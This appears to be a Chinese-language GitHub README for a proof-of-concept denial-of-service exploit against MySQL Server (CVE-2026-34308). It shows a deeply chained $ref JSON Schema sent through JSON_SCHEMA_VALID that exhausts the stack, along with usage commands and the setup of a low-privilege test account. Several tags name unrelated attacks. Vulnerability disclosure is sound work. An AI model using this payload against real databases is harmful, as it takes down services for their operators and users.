JoakimBulow/CVE-2026-34308
GitHub: JoakimBulow/CVE-2026-34308
针对 MySQL Server JSON 组件中 JSON_SCHEMA_VALID 函数递归引用导致栈耗尽崩溃的拒绝服务漏洞(CVE-2026-34308)提供概念验证脚本。
Stars: 0 | Forks: 0
# CVE-2026-34308: MySQL Server (JSON 组件) 拒绝服务
官方供应商公告:[Oracle Critical Patch Update Advisory — April 2026](https://www.oracle.com/security-alerts/cpuapr2026.html)。
## 摘要(来自已发布的 CVE)
Oracle MySQL Server 中的漏洞(组件:Server: JSON)。
受影响的受支持版本:**8.0.0–8.0.45**、**8.4.0–8.4.8** 以及 **9.0.0–9.6.0**。
该漏洞允许低权限用户使 MySQL Server 崩溃。
**CVSS 3.1 基本分数**:**6.5**(仅影响可用性)
**CVSS 向量**:`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
## 其他技术分析(不属于 CVE 文本)
**观察到的机制**:当 MySQL 针对 JSON Schema 评估 `JSON_SCHEMA_VALID()` 时,如果该 JSON Schema 包含一条由 `$ref` 指针组成的长线性链,由于在 Schema 编译/验证期间缺乏有效的深度限制,会导致深度递归——进而造成栈耗尽并引发挂起或可重复的崩溃。
**调用链(概念性)**:
```
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ internal JSON schema validation → repeated $ref resolution
→ stack exhaustion → hang / crash
```
## 所需权限
对于此 PoC,**任何经过身份验证的 MySQL 账户即可**:只需在 `*.*` 上授予 `USAGE` 权限(MySQL 的最低权限——即连接能力——无需 `SELECT`、表访问权限或管理员角色)。如果用户能够打开会话并运行 `SELECT JSON_SCHEMA_VALID(...)`,就可以触发此状况。
## 概念验证
### PoC 脚本:`poc_schema_dos.py`
构建一个包含线性 `$ref` 链的 JSON Schema(示例深度为 1200):
```
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
```
作为以下语句发送给 MySQL:`SELECT JSON_SCHEMA_VALID('', '"x"');`
在针对易受攻击的构建版本进行的测试中,观察到这会**在大约一秒钟内导致服务器崩溃**(具体时间取决于硬件、构建标志和 Schema 深度)。
### 使用方法
```
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
```
测试低权限账户:
```
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
```
然后运行:`python3 poc_schema_dos.py --user test --password password`
## CVSS v3.1(官方向量)
**6.5** — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
- **AV:N**:网络访问
- **AC:L**:攻击复杂度低
- **PR:L**:需要低权限
- **UI:N**:无需用户交互
- **S:U**:范围不变
- **C:N / I:N**:对机密性或完整性无影响
- **A:H**:对可用性影响高(挂起 / 可重复崩溃 / DoS)
## 文件
- `poc_schema_dos.py`:概念验证脚本
- `README.md`:本文件
标签:0day, CISA项目, CVE-2026-34308, CVSS 6.5, DoS, JSON_SCHEMA_VALID, JSON组件, MySQL Server, Oracle MySQL, PoC, Python PoC, Web安全, 低权限攻击, 协议分析, 堆栈耗尽, 拒绝服务, 数据展示, 暴力破解, 权限提升, 概念验证, 深度递归, 漏洞分析, 系统崩溃, 红队, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 逆向工具, 隐私保护